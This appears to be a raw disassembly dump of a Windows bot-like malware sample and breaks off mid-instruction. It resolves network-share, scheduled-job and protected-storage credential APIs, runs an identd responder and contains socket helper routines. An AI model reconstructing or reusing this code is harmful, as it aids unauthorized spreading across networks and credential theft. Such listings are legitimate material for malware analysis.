loc_402ABD: ; CODE XREF: sub_402A12+A4j push 1 pop eax loc_402AC0: ; CODE XREF: sub_402A12+A9j test edi, edi mov [esi+8], eax jz short loc_402ACC mov eax, [edi+0Ch] jmp short loc_402ACF ; --------------------------------------------------------------------------- loc_402ACC: ; CODE XREF: sub_402A12+B3j push 6 pop eax loc_402ACF: ; CODE XREF: sub_402A12+B8j mov [esi+0Ch], eax lea ecx, [ebp+var_18] lea eax, [esi+20h] push ebx push ecx mov [esi+10h], ebx mov [esi+18h], eax and [ebp+var_14], 0 push eax call sub_410838 ; memcpy mov eax, [ebp+arg_C] add esp, 0Ch mov [eax], esi jmp loc_402C08 ; --------------------------------------------------------------------------- loc_402AF7: ; CODE XREF: sub_402A12+48j push [ebp+arg_0] call ds:dword_41124C ; gethostbyname cmp eax, ebx mov [ebp+var_8], eax jz short loc_402B20 mov eax, [eax+0Ch] xor edi, edi mov [ebp+arg_0], edi loc_402B0F: ; CODE XREF: sub_402A12+105j cmp [eax], ebx jz short loc_402B19 inc edi add eax, 4 jmp short loc_402B0F ; --------------------------------------------------------------------------- loc_402B19: ; CODE XREF: sub_402A12+FFj cmp edi, ebx mov [ebp+arg_0], edi jnz short loc_402B2A loc_402B20: ; CODE XREF: sub_402A12+F3j mov eax, 2AFBh jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402B2A: ; CODE XREF: sub_402A12+10Cj lea esi, [edi+edi*2] shl esi, 4 push esi call sub_41082C ; malloc cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_402B4E loc_402B3E: ; CODE XREF: sub_402A12+5Aj push 8 call ds:dword_411244 ; WSASetLastError push 8 pop eax jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402B4E: ; CODE XREF: sub_402A12+12Aj push esi push ebx push eax call sub_410850 ; memset push 10h lea eax, [ebp+var_28] push ebx push eax call sub_410850 ; memset add esp, 18h cmp [ebp+arg_4], ebx mov [ebp+var_28], 2 jz short loc_402B84 push [ebp+arg_4] call sub_41088C ; atoi pop ecx push eax call ds:dword_411248 ; htons mov [ebp+var_26], ax loc_402B84: ; CODE XREF: sub_402A12+15Cj test edi, edi jbe short loc_402C00 mov eax, [ebp+var_4] lea esi, [eax+8] loc_402B8E: ; CODE XREF: sub_402A12+1ECj mov eax, [ebp+arg_8] test eax, eax jz short loc_402B99 mov eax, [eax] jmp short loc_402B9C ; --------------------------------------------------------------------------- loc_402B99: ; CODE XREF: sub_402A12+181j push 4 pop eax loc_402B9C: ; CODE XREF: sub_402A12+185j mov ecx, [ebp+arg_8] lea edi, [esi-8] test ecx, ecx mov [edi], eax mov dword ptr [esi-4], 2 jz short loc_402BB4 mov eax, [ecx+8] jmp short loc_402BB7 ; --------------------------------------------------------------------------- loc_402BB4: ; CODE XREF: sub_402A12+19Bj push 1 pop eax loc_402BB7: ; CODE XREF: sub_402A12+1A0j test ecx, ecx mov [esi], eax jz short loc_402BC2 mov eax, [ecx+0Ch] jmp short loc_402BC5 ; --------------------------------------------------------------------------- loc_402BC2: ; CODE XREF: sub_402A12+1A9j push 6 pop eax loc_402BC5: ; CODE XREF: sub_402A12+1AEj mov edx, [ebp+var_8] push 10h mov [esi+4], eax pop ecx lea eax, [esi+18h] mov [esi+8], ecx mov [esi+10h], eax mov edx, [edx+0Ch] push ecx lea ecx, [ebp+var_28] mov edx, [edx+ebx*4] push ecx push eax mov edx, [edx] mov [ebp+var_24], edx call sub_410838 ; memcpy add esp, 0Ch test ebx, ebx jz short loc_402BF7 mov [esi-1Ch], edi loc_402BF7: ; CODE XREF: sub_402A12+1E0j inc ebx add esi, 30h cmp ebx, [ebp+arg_0] jb short loc_402B8E loc_402C00: ; CODE XREF: sub_402A12+174j mov eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov [eax], ecx loc_402C08: ; CODE XREF: sub_402A12+E0j xor eax, eax loc_402C0A: ; CODE XREF: sub_402A12+40j ; sub_402A12+113j ... pop edi pop esi pop ebx leave retn 10h sub_402A12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C11 proc near ; DATA XREF: sub_402D7B+13Bo var_424 = byte ptr -424h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 424h push ebx push esi push edi xor edi, edi cmp [ebp+arg_8], edi jnz short loc_402C29 cmp [ebp+arg_10], edi jz short loc_402C34 loc_402C29: ; CODE XREF: sub_402C11+11j mov ebx, [ebp+arg_18] test ebx, 0FFFFFFE0h jz short loc_402C3E loc_402C34: ; CODE XREF: sub_402C11+16j mov esi, 2726h jmp loc_402D2E ; --------------------------------------------------------------------------- loc_402C3E: ; CODE XREF: sub_402C11+21j mov esi, [ebp+arg_0] cmp word ptr [esi], 2 jz short loc_402C51 mov esi, 273Fh jmp loc_402D2E ; --------------------------------------------------------------------------- loc_402C51: ; CODE XREF: sub_402C11+34j cmp [ebp+arg_8], edi jz loc_402CF4 push dword ptr [esi+4] add esi, 4 call ds:dword_411230 ; inet_ntoa cmp eax, edi jnz short loc_402C72 or eax, 0FFFFFFFFh jmp loc_402D60 ; --------------------------------------------------------------------------- loc_402C72: ; CODE XREF: sub_402C11+57j mov edi, 401h push edi push eax lea eax, [ebp+var_424] push eax call sub_4052A6 add esp, 0Ch test bl, 2 jnz short loc_402CE1 test bl, 4 jz short loc_402CC5 loc_402C92: ; CODE XREF: sub_402C11+C0j ; sub_402C11+C6j push 0 push 4 push esi call ds:dword_411234 ; gethostbyaddr mov esi, eax test esi, esi jz short loc_402CD9 push dword ptr [esi] call sub_410826 ; strlen inc eax pop ecx cmp eax, [ebp+arg_C] ja short loc_402D29 push edi lea eax, [ebp+var_424] push dword ptr [esi] push eax call sub_4052A6 add esp, 0Ch jmp short loc_402CF4 ; --------------------------------------------------------------------------- loc_402CC5: ; CODE XREF: sub_402C11+7Fj test bl, 1 jz short loc_402CE1 mov eax, [esi] cmp eax, 7F000001h jz short loc_402C92 test eax, eax jnz short loc_402CE1 jmp short loc_402C92 ; --------------------------------------------------------------------------- loc_402CD9: ; CODE XREF: sub_402C11+90j call ds:dword_411238 ; WSAGetLastError jmp short loc_402D60 ; --------------------------------------------------------------------------- loc_402CE1: ; CODE XREF: sub_402C11+7Aj ; sub_402C11+B7j ... lea eax, [ebp+var_424] push eax call sub_410826 ; strlen inc eax pop ecx cmp eax, [ebp+arg_C] ja short loc_402D29 loc_402CF4: ; CODE XREF: sub_402C11+43j ; sub_402C11+B2j cmp [ebp+arg_10], 0 jz short loc_402D47 lea eax, [ebp+var_20] push 0Ah push eax mov eax, [ebp+arg_0] mov ax, [eax+2] push eax call ds:dword_411248 ; htons movzx eax, ax push eax call sub_410C9A ; _itoa lea eax, [ebp+var_20] push eax call sub_410826 ; strlen add esp, 10h inc eax cmp eax, [ebp+arg_14] jbe short loc_402D39 loc_402D29: ; CODE XREF: sub_402C11+9Ej ; sub_402C11+E1j mov esi, 2747h loc_402D2E: ; CODE XREF: sub_402C11+28j ; sub_402C11+3Bj push esi call ds:dword_411244 ; WSASetLastError mov eax, esi jmp short loc_402D60 ; --------------------------------------------------------------------------- loc_402D39: ; CODE XREF: sub_402C11+116j lea eax, [ebp+var_20] push eax push [ebp+arg_10] call sub_410820 ; _mbscpy pop ecx pop ecx loc_402D47: ; CODE XREF: sub_402C11+E7j cmp [ebp+arg_8], 0 jz short loc_402D5E lea eax, [ebp+var_424] push eax push [ebp+arg_8] call sub_410820 ; _mbscpy pop ecx pop ecx loc_402D5E: ; CODE XREF: sub_402C11+13Aj xor eax, eax loc_402D60: ; CODE XREF: sub_402C11+5Cj ; sub_402C11+CEj ... pop edi pop esi pop ebx leave retn 1Ch sub_402C11 endp ; =============== S U B R O U T I N E ======================================= sub_402D67 proc near ; DATA XREF: sub_402D7B+145o arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jz short locret_402D78 push [esp+arg_0] call sub_410832 ; free pop ecx locret_402D78: ; CODE XREF: sub_402D67+5j retn 4 sub_402D67 endp ; =============== S U B R O U T I N E ======================================= sub_402D7B proc near ; CODE XREF: seg000:00410607p push esi push edi mov edi, ds:dword_41105C push offset aKernel32_dll ; "kernel32.dll" call edi ; LoadLibraryA mov esi, ds:dword_411060 test eax, eax jz short loc_402DA1 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call esi ; GetProcAddress mov dword_417B70, eax loc_402DA1: ; CODE XREF: sub_402D7B+17j push ebx push offset aNetapi32_dll ; "netapi32.dll" call edi ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_402E24 push offset aNetusegetinfo ; "NetUseGetInfo" push ebx call esi ; GetProcAddress push offset aNetuseadd ; "NetUseAdd" push ebx mov dword_417B78, eax call esi ; GetProcAddress push offset aNetusedel ; "NetUseDel" push ebx mov dword_417B7C, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push ebx mov dword_417B80, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push ebx mov dword_417B84, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push ebx mov dword_417B88, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push ebx mov dword_417B8C, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push ebx mov dword_417B90, eax call esi ; GetProcAddress push offset aNetaddalternat ; "NetAddAlternateComputerName" push ebx mov dword_417B94, eax call esi ; GetProcAddress mov dword_417B98, eax loc_402E24: ; CODE XREF: sub_402D7B+32j push offset aMpr_dll ; "mpr.dll" call edi ; LoadLibraryA mov ebx, eax test ebx, ebx jz short loc_402E65 push offset aWnetaddconnect ; "WNetAddConnection2A" push ebx call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push ebx mov dword_417B9C, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push ebx mov dword_417BA0, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push ebx mov dword_417BA4, eax call esi ; GetProcAddress mov dword_417BA8, eax loc_402E65: ; CODE XREF: sub_402D7B+B4j push offset aWs2_32_dll ; "ws2_32.dll" call edi ; LoadLibraryA mov ebx, eax push offset aGetaddrinfo ; "getaddrinfo" push ebx call esi ; GetProcAddress push offset aGetnameinfo ; "getnameinfo" push ebx mov dword_417BB4, eax call esi ; GetProcAddress push offset aFreeaddrinfo ; "freeaddrinfo" push ebx mov dword_417BB8, eax call esi ; GetProcAddress cmp dword_417BB4, 0 mov dword_417BBC, eax pop ebx jz short loc_402EAC cmp dword_417BB8, 0 jz short loc_402EAC test eax, eax jnz short loc_402ECA loc_402EAC: ; CODE XREF: sub_402D7B+122j ; sub_402D7B+12Bj mov dword_417BB4, offset sub_402A12 mov dword_417BB8, offset sub_402C11 mov dword_417BBC, offset sub_402D67 loc_402ECA: ; CODE XREF: sub_402D7B+12Fj push offset aPstorec_dll ; "pstorec.dll" call edi ; LoadLibraryA test eax, eax jz short loc_402EE2 push offset aPstorecreatein ; "PStoreCreateInstance" push eax call esi ; GetProcAddress mov dword_417BB0, eax loc_402EE2: ; CODE XREF: sub_402D7B+158j push offset aWininet_dll ; "wininet.dll" call edi ; LoadLibraryA test eax, eax jz short loc_402EFA push offset aInternetgetcon ; "InternetGetConnectedStateExA" push eax call esi ; GetProcAddress mov dword_417BAC, eax loc_402EFA: ; CODE XREF: sub_402D7B+170j pop edi pop esi retn sub_402D7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EFD proc near ; DATA XREF: sub_4030A7+65o var_121C = byte ptr -121Ch var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_212 = byte ptr -212h var_6C = byte ptr -6Ch var_48 = byte ptr -48h var_24 = byte ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 121Ch call sub_4108B0 push ebx push 1ADh push [ebp+arg_0] lea eax, [ebp+var_21C] push eax call sub_410838 ; memcpy push [ebp+arg_0] call sub_410832 ; free lea eax, [ebp+var_218] push 1 push eax call sub_4035FB mov ebx, eax add esp, 18h test ebx, ebx jnz short loc_402F51 push [ebp+var_21C] call sub_406753 pop ecx xor eax, eax jmp loc_4030A2 ; --------------------------------------------------------------------------- loc_402F51: ; CODE XREF: sub_402EFD+3Fj push esi lea eax, [ebp+var_218] push edi push eax mov eax, [ebp+var_21C] push dword ptr [eax] lea eax, [ebp+var_212] push offset dword_4129C0 push eax call sub_408D50 mov esi, 3E8h push esi push ebx call sub_40371E add esp, 18h loc_402F82: ; CODE XREF: sub_402EFD+189j mov edi, eax mov eax, [ebp+var_21C] cmp dword ptr [eax+4], 0 jnz loc_40308B test edi, edi jz loc_40308B cmp edi, 0FFFFFFFFh jz loc_40307D lea eax, [ebp+var_121C] push 1000h push eax push edi call sub_403D69 add esp, 0Ch test eax, eax jz loc_403076 cmp eax, 0FFFFFFFFh jz loc_403076 lea eax, [ebp+var_121C] push eax call sub_410826 ; strlen cmp eax, 10h pop ecx ja loc_403076 cmp byte_418BF8, 0 jz short loc_402FFC lea eax, [ebp+var_24] push offset byte_418BF8 push eax call sub_410820 ; _mbscpy pop ecx pop ecx jmp short loc_40301E ; --------------------------------------------------------------------------- loc_402FFC: ; CODE XREF: sub_402EFD+EBj lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_48] push eax call sub_404354 lea eax, [ebp+var_24] push eax push offset byte_418BF8 call sub_410820 ; _mbscpy add esp, 14h loc_40301E: ; CODE XREF: sub_402EFD+FDj lea eax, [ebp+var_121C] push offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_410856 ; _mbscat lea eax, [ebp+var_24] push eax lea eax, [ebp+var_121C] push eax call sub_410856 ; _mbscat lea eax, [ebp+var_121C] push offset asc_412214 ; "\r\n" push eax call sub_410856 ; _mbscat lea eax, [ebp+var_121C] push eax call sub_410826 ; strlen inc eax push eax lea eax, [ebp+var_121C] push eax push edi call sub_403D54 push edi call sub_403D27 add esp, 2Ch jmp short loc_40307D ; --------------------------------------------------------------------------- loc_403076: ; CODE XREF: sub_402EFD+BFj ; sub_402EFD+C8j ... push edi call sub_403D27 pop ecx loc_40307D: ; CODE XREF: sub_402EFD+A2j ; sub_402EFD+177j push esi push ebx call sub_40371E pop ecx pop ecx jmp loc_402F82 ; --------------------------------------------------------------------------- loc_40308B: ; CODE XREF: sub_402EFD+91j ; sub_402EFD+99j push ebx call sub_4038E1 push [ebp+var_21C] call sub_406753 pop ecx xor eax, eax pop ecx pop edi pop esi loc_4030A2: ; CODE XREF: sub_402EFD+4Fj pop ebx leave retn 4 sub_402EFD endp ; =============== S U B R O U T I N E ======================================= sub_4030A7 proc near ; CODE XREF: sub_40735A+6CFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] test ebx, ebx push esi jz short loc_4030BC push ebx call sub_40325E test eax, eax pop ecx jnz short loc_4030C1 loc_4030BC: ; CODE XREF: sub_4030A7+8j mov ebx, offset dword_412A14 loc_4030C1: ; CODE XREF: sub_4030A7+13j push 1ADh call sub_41082C ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40311A push edi push 6 lea eax, [esi+4] push ebx push eax call sub_4052A6 mov edi, [esp+18h+arg_0] lea eax, [esi+0Ah] push edi push eax call sub_403E60 add esp, 14h test edi, edi jz short loc_403101 cmp byte ptr [edi+18Bh], 0 jz short loc_403101 xor eax, eax jmp short loc_403104 ; --------------------------------------------------------------------------- loc_403101: ; CODE XREF: sub_4030A7+4Bj ; sub_4030A7+54j push 1 pop eax loc_403104: ; CODE XREF: sub_4030A7+58j push ebx push offset dword_4129F4 push eax push esi push offset sub_402EFD call sub_40663C add esp, 14h pop edi loc_40311A: ; CODE XREF: sub_4030A7+29j pop esi pop ebx retn sub_4030A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40311D proc near ; CODE XREF: sub_40B7A2+5Ep ; sub_40BE08+133p var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 104h push esi mov esi, 104h push [ebp+arg_0] lea eax, [ebp+var_104] push offset dword_412A2C push esi push eax call sub_41089E ; _snprintf add esp, 10h lea eax, [ebp+var_104] push esi push [ebp+arg_4] push 0FFFFFFFFh push eax push 0 push 0 call ds:dword_411058 ; MultiByteToWideChar pop esi leave retn sub_40311D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40315E proc near ; CODE XREF: sub_40735A+D2Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx dec eax push esi dec eax push edi mov ebx, 0FEh jz short loc_4031A7 dec eax jz short loc_40318B dec eax jnz short loc_4031C3 push ebx push 1 call sub_40AADE mov edi, eax mov eax, [ebp+arg_0] pop ecx and al, 0 pop ecx or edi, eax jmp short loc_40318E ; --------------------------------------------------------------------------- loc_40318B: ; CODE XREF: sub_40315E+13j mov edi, [ebp+arg_0] loc_40318E: ; CODE XREF: sub_40315E+2Bj push ebx push 1 call sub_40AADE mov esi, eax pop ecx shl esi, 8 and edi, 0FFFF00FFh pop ecx or esi, edi jmp short loc_4031AA ; --------------------------------------------------------------------------- loc_4031A7: ; CODE XREF: sub_40315E+10j mov esi, [ebp+arg_0] loc_4031AA: ; CODE XREF: sub_40315E+47j push ebx push 1 call sub_40AADE mov edi, eax pop ecx shl edi, 10h and esi, 0FF00FFFFh pop ecx or edi, esi jmp short loc_4031C6 ; --------------------------------------------------------------------------- loc_4031C3: ; CODE XREF: sub_40315E+16j mov edi, [ebp+arg_0] loc_4031C6: ; CODE XREF: sub_40315E+63j push ebx push 1 call sub_40AADE pop ecx and edi, 0FFFFFFh shl eax, 18h pop ecx or eax, edi pop edi pop esi pop ebx pop ebp retn sub_40315E endp ; =============== S U B R O U T I N E ======================================= sub_4031E0 proc near ; CODE XREF: sub_403289+Ap ; sub_403342+13p arg_0 = dword ptr 4 push 0Ah push [esp+4+arg_0] push 0FFFFh push 401h call sub_40AADE pop ecx pop ecx push eax call sub_410C9A ; _itoa add esp, 0Ch retn sub_4031E0 endp ; =============== S U B R O U T I N E ======================================= sub_403201 proc near ; CODE XREF: sub_408F9D+479p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 4 push offset dword_412A50 push esi call sub_4108E0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40321F loc_40321A: ; CODE XREF: sub_403201+30j ; sub_403201+44j push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_40321F: ; CODE XREF: sub_403201+17j push 4 push offset dword_412A48 push esi call sub_4108E0 ; strncmp add esp, 0Ch test eax, eax jz short loc_40321A push 8 push offset dword_412A3C push esi call sub_4108E0 ; strncmp add esp, 0Ch test eax, eax jz short loc_40321A push 3 push offset dword_412A38 push esi call sub_4108E0 ; strncmp add esp, 0Ch neg eax sbb eax, eax pop esi inc eax retn sub_403201 endp ; =============== S U B R O U T I N E ======================================= sub_40325E proc near ; CODE XREF: sub_402230+173p ; sub_4030A7+Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor eax, eax loc_403264: ; CODE XREF: sub_40325E+10j cmp byte ptr [eax+ecx], 0 jz short loc_403273 inc eax cmp eax, 6 jnz short loc_403264 loc_403270: ; CODE XREF: sub_40325E+1Ej ; sub_40325E+25j xor eax, eax retn ; --------------------------------------------------------------------------- loc_403273: ; CODE XREF: sub_40325E+Aj push ecx call sub_41088C ; atoi test eax, eax pop ecx jz short loc_403270 cmp eax, 0FFFFh ja short loc_403270 push 1 pop eax retn sub_40325E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403289 proc near ; CODE XREF: sub_4032EF+9p ; sub_405E4E:loc_405F7Ap ... var_8 = byte ptr -8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push esi push eax call sub_4031E0 lea eax, [ebp+var_8] push 1 push eax call sub_4035FB mov esi, eax add esp, 0Ch test esi, esi jnz short loc_4032B1 push 1 pop eax jmp short loc_4032E7 ; --------------------------------------------------------------------------- loc_4032B1: ; CODE XREF: sub_403289+21j push edi push 0BB8h lea eax, [ebp+var_8] push 0 push eax push offset dword_418C78 call sub_403BBB push esi mov edi, eax call sub_4038E1 add esp, 14h test edi, edi jz short loc_4032EA cmp edi, 0FFFFFFFFh jz short loc_4032EA push edi xor esi, esi call sub_403D49 pop ecx loc_4032E4: ; CODE XREF: sub_403289+64j mov eax, esi pop edi loc_4032E7: ; CODE XREF: sub_403289+26j pop esi leave retn ; --------------------------------------------------------------------------- loc_4032EA: ; CODE XREF: sub_403289+4Bj ; sub_403289+50j push 1 pop esi jmp short loc_4032E4 sub_403289 endp ; =============== S U B R O U T I N E ======================================= sub_4032EF proc near ; CODE XREF: sub_40D1B3+1p ; sub_40E18A+182p ... cmp dword_417FC4, 0 jnz short loc_403317 call sub_403289 push eax push offset dword_417FC8 call sub_406B0B push 1 push offset dword_417FC4 call sub_406B0B add esp, 10h loc_403317: ; CODE XREF: sub_4032EF+7j mov eax, dword_417FC8 retn sub_4032EF endp ; =============== S U B R O U T I N E ======================================= sub_40331D proc near ; CODE XREF: sub_403342+6p ; sub_4035FB+36p push esi push 0 push 1 push 17h call ds:dword_41122C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403338 push esi call sub_403D49 pop ecx loc_403338: ; CODE XREF: sub_40331D+12j xor eax, eax cmp esi, 0FFFFFFFFh setnz al pop esi retn sub_40331D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403342 proc near ; CODE XREF: sub_4058D7:loc_405A61p var_8 = byte ptr -8 push ebp mov ebp, esp push ecx push ecx push esi call sub_40331D test eax, eax jz short loc_40336E lea eax, [ebp+var_8] push eax call sub_4031E0 lea eax, [ebp+var_8] push 1 push eax call sub_4035FB mov esi, eax add esp, 0Ch test esi, esi jnz short loc_403372 loc_40336E: ; CODE XREF: sub_403342+Dj xor eax, eax jmp short loc_4033A9 ; --------------------------------------------------------------------------- loc_403372: ; CODE XREF: sub_403342+2Aj push edi push 0BB8h lea eax, [ebp+var_8] push 2 push eax push offset dword_412A64 call sub_403BBB push esi mov edi, eax call sub_4038E1 add esp, 14h test edi, edi jz short loc_4033AC cmp edi, 0FFFFFFFFh jz short loc_4033AC push 1 pop esi push edi call sub_403D49 pop ecx loc_4033A6: ; CODE XREF: sub_403342+6Cj mov eax, esi pop edi loc_4033A9: ; CODE XREF: sub_403342+2Ej pop esi leave retn ; --------------------------------------------------------------------------- loc_4033AC: ; CODE XREF: sub_403342+53j ; sub_403342+58j xor esi, esi jmp short loc_4033A6 sub_403342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033B0 proc near ; CODE XREF: sub_405E4E:loc_405F61p ; sub_40849F+196p ... var_14 = byte ptr -14h push ebp mov ebp, esp sub esp, 14h push esi lea eax, [ebp+var_14] push offset dword_412A18 push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_14] push eax call sub_40AC4E push 7D0h push 2 lea eax, [ebp+var_14] push offset a80 ; "80" push eax call sub_403BBB add esp, 1Ch test eax, eax jz short loc_4033FE cmp eax, 0FFFFFFFFh jz short loc_4033FE push 1 pop esi push eax call sub_403D49 pop ecx loc_4033F9: ; CODE XREF: sub_4033B0+50j mov eax, esi pop esi leave retn ; --------------------------------------------------------------------------- loc_4033FE: ; CODE XREF: sub_4033B0+38j ; sub_4033B0+3Dj xor esi, esi jmp short loc_4033F9 sub_4033B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403402 proc near ; CODE XREF: sub_403AFB+7Dp ; sub_403BBB+ABp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_4], eax setz al mov [ebp+arg_4], eax lea eax, [ebp+arg_4] push eax push 8004667Eh push [ebp+arg_0] call ds:dword_411228 ; ioctlsocket pop ebp retn sub_403402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403424 proc near ; CODE XREF: sub_404D33+1C5p ; sub_404D33+200p arg_0 = dword ptr 8 push ebp mov ebp, esp lea eax, [ebp+arg_0] push eax push 4004667Fh push [ebp+arg_0] call ds:dword_411228 ; ioctlsocket xor eax, eax cmp [ebp+arg_0], eax setnz al pop ebp retn sub_403424 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403443 proc near ; CODE XREF: sub_408F9D+467p ; sub_40D201+54p var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call ds:dword_411250 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_403470 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403470: ; CODE XREF: sub_403443+27j push 2 push 0 push 0 push 100h push [ebp+arg_4] lea eax, [ebp+var_84] push [ebp+var_4] push eax call dword_417BB8 ; getnameinfo neg eax sbb eax, eax inc eax leave retn sub_403443 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403495 proc near ; CODE XREF: sub_404D33+B2p ; sub_40DA07+24p ... var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call ds:dword_411224 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4034C2 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4034C2: ; CODE XREF: sub_403495+27j push 2 push 0 push 0 push 100h push [ebp+arg_4] lea eax, [ebp+var_84] push [ebp+var_4] push eax call dword_417BB8 ; getnameinfo neg eax sbb eax, eax inc eax leave retn sub_403495 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034E7 proc near ; CODE XREF: sub_40E03D+8Fp ; sub_40FFBC+182p var_84 = byte ptr -84h var_82 = dword ptr -82h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call ds:dword_411250 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_403514 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403514: ; CODE XREF: sub_4034E7+27j push 0Ah push [ebp+arg_4] push [ebp+var_82] call ds:dword_411248 ; htons movzx eax, ax push eax call sub_410C9A ; _itoa add esp, 0Ch push 1 pop eax leave retn sub_4034E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403536 proc near ; CODE XREF: sub_40ED30+142p ; sub_40FFBC+14Ap var_84 = byte ptr -84h var_82 = dword ptr -82h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call ds:dword_411224 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_403563 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403563: ; CODE XREF: sub_403536+27j push 0Ah push [ebp+arg_4] push [ebp+var_82] call ds:dword_411248 ; htons movzx eax, ax push eax call sub_410C9A ; _itoa add esp, 0Ch push 1 pop eax leave retn sub_403536 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403585 proc near ; CODE XREF: sub_408F9D+516p var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h lea eax, [ebp+arg_0] push esi push eax push 0 push 0 push [ebp+arg_0] call dword_417BB4 ; getaddrinfo test eax, eax jnz short loc_4035F6 mov esi, [ebp+arg_0] loc_4035A7: ; CODE XREF: sub_403585+51j test esi, esi jz short loc_4035ED push 2 push 0 push 0 lea eax, [ebp+var_404] push 401h push eax push dword ptr [esi+10h] push dword ptr [esi+18h] call dword_417BB8 ; getnameinfo test eax, eax jnz short loc_4035D3 cmp dword ptr [esi+4], 2 jz short loc_4035D8 loc_4035D3: ; CODE XREF: sub_403585+46j mov esi, [esi+1Ch] jmp short loc_4035A7 ; --------------------------------------------------------------------------- loc_4035D8: ; CODE XREF: sub_403585+4Cj lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_410820 ; _mbscpy pop ecx mov al, 1 pop ecx jmp short loc_4035F8 ; --------------------------------------------------------------------------- loc_4035ED: ; CODE XREF: sub_403585+24j push [ebp+arg_0] call dword_417BBC ; freeaddrinfo loc_4035F6: ; CODE XREF: sub_403585+1Dj xor al, al loc_4035F8: ; CODE XREF: sub_403585+66j pop esi leave retn sub_403585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035FB proc near ; CODE XREF: sub_401B81+D4p ; sub_402EFD+33p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx push edi push 1008h call sub_41082C ; malloc mov edi, eax xor ebx, ebx cmp edi, ebx pop ecx jz loc_403714 push 20h lea eax, [ebp+var_24] push ebx push eax mov [edi], 